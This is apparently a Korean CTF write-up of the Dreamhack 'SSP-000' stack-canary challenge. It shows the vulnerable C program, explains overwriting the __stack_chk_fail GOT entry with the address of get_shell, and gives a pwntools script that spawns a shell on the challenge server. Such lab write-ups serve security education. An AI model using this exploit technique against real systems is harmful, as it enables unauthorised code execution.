Dreamhack | SSP-000
Dreamhack SSP-000 문제 풀이
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
해당 문제는 Dreamhack Pwnable 교육과정 중 Stack Canary 실습 문제이다. 따라서 문제에서 요구하는 바는 SSP 방어 기법을 위해하여 flag를 획득하는 것이다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
-
NX bit 활성화로 인해서 BUF에 쉘 코드를 직접 대입하진 못할 것이고, Canary가 존재하므로 Canary leak을 통해 RET를
get_shell로 변경할 수 있을 것으로 예상했다. -
하지만, 문제를 보면 Canary의 값을 알 방법은 없다.
*(long *)addr = value;
이 부분을 통해 addr의 메모리 값을 변경할 수 있을 것으로 예상된다.
pwndbg를 통해 disassemble 했을 때 스택 메모리를 표현한 것이다.
read(0, buf, 0x80);
해당 함수를 통해 Canary값을 변조하여 call 0x4006d0 __stack_chk_fail@plt 호출이 가능하게 된다.
__stack_chk_fail@plt를 통해 GOT를 참조할 것이다. 따라서, 우리가 입력할 수 있는 addr를 __stack_chk_fail@got로 변경하고, 해당 내용을 get_shell로 변경하면 된다.(해당 루틴이 정확하게 어떻게 이루어지는지 더 공부해야할 것으로 보인다.)
- addr : __stack_chk_fail@got 주소
- __stack_chk_fail@got :
get_shell의 주소
현재로서는 이렇게 이해하고 있습니다.
from pwn import *
#p = process("./ssp_000")
p = remote("host3.dreamhack.games", 12630)
elf = ELF("./ssp_000")
get_shell = elf.symbols['get_shell']
p.sendline(b"A"*80) #nop 80bytes
p.recvuntil("r : ") #Addr :
p.sendline(str(elf.got['__stack_chk_fail']))
p.recvuntil("e : ") #value :
p.sendline(str(get_shell))
p.interactive()